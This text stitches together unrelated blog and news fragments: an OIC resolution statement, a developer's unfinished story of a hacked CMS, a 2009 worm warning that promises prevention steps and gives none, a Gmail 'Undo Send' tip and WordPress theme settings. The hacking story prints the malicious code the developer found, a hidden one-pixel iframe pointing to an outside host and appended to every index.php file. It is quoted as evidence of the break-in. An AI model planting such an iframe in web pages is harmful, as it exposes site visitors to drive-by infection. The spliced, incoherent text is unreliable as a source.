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"It is important to note that passage of these resolutions by a majority vote beyond the membership of the OIC lends international legitimacy to the OIC position on this issue,"

The Muslim Ummah has noticed with utmost concern the continued attacks by a section of marginal groups and individuals in the West on the most sacred symbols of Islam including the Holy Quran and Prophet Muhammad (PBUH) in an offensive and denigrating manner, the most recent being

Yesterday, I wrote about getting paid to hack. Part of what I talked about was computer forensics. Earlier in the day, I was presented with an opportunity to practice my own IT security skills. Below, I'll explain what happened to my client, how an employee of mine and I found the source of the problem and what we did to fix it.

Discovering a problem
A client called, complaining that the CMS system we built for them was not working properly, so one of the developers took a look at the code and immediately alerted me to a problem. When he looked at the code, he discovered two extra lines at the end. The lines were similar to the following and existed at the bottom of every index.php file in the site:

<iframe src="http: //lotmachinesguide .cn/ in.cgi?income56″ width=1 height=1 style="visibility: hidden"$gt;$lt;/iframe>

My first thought was that someone hacked in and changed the files. What about the rest of the server? This is where you get that sick feeling in your stomach and hope it's not as bad as it could be. I emailed my wife and told her I'd be unavailable via phone/email/etc. for the next few hours.

Finding the cause

Yes. Most of you probably heard about this new worm that’s dated to run into your machines on April fools day of this year. But the experts are not taking this as a joke. And have already started warning users through that TV news stations ant online media. This new worm is made to spread through Canadian domains with ‘.ca’ URLs. Dated to hit your computers starting April 1st 2009. Everyone around the globe needs to take a look at this article. This article is for anyone concerned or needs information on how to keep their computer safe from being infected. Anyways I am not going to be writing about the virus since this post is about how to avoid them from infecting your computer. However if you want to know more about this try here—> More info here

How to avoid the worm getting into your system.

If you ever send a Gmail message too early or you change your mind after you press “Send”, there’s a feature that will help you. It’s called “Undo Send” and you can find in the crowded space of experimental features from Gmail Labs.

After enabling the feature, Gmail will show an “undo” link when you send a message. You have to react quickly because the link disappears in 5 seconds and there’s no way to bring it back. If keyboard shortcuts are enabled in your Gmail account, a better option than clicking on “undo” is to press “z”. When you undo sending a mail, Gmail saves it as a draft and you can continue editing the message or discard it.

Several readers commented on the new magazine style look of my front page. Good thing about WordPress Thesis Theme is that it lets you customize your blog with features like magazine style without much knowledge of design or coding.

In this article I will show how easy it is to get a customized magazine style look with help of Thesis Theme.

• Need Thesis Theme version 1.4 or higher. If you bought Thesis Theme at any point in time, you can just login and download the latest version for free.

• Decide on number of posts you want to be shown on the blog front page (Settings - Reading). I have 18 blog posts currently.

Go in Appearance - Design Options in your WordPress blog menu and look under "Home Page Layout and Content". These are the steps to take when installing Thesis teasers:

1. Set Home Page Layout to "Features & Teasers"
2. Choose the number of featured posts to show. I show 0, so all the posts on front page are teasers only.
3. Select your teaser display options. I display Post Title, Post Excerpt, Number of Comments and Link to Full Article, but you can mix and match it so it fits your needs.
4. Choose the link display text. I have it set as "Read the full article →".
5. Select the teaser font sizes. I have font size 20 for post title, size 14 for post excerpt, 10 for number of comments and 14 for link to the full article.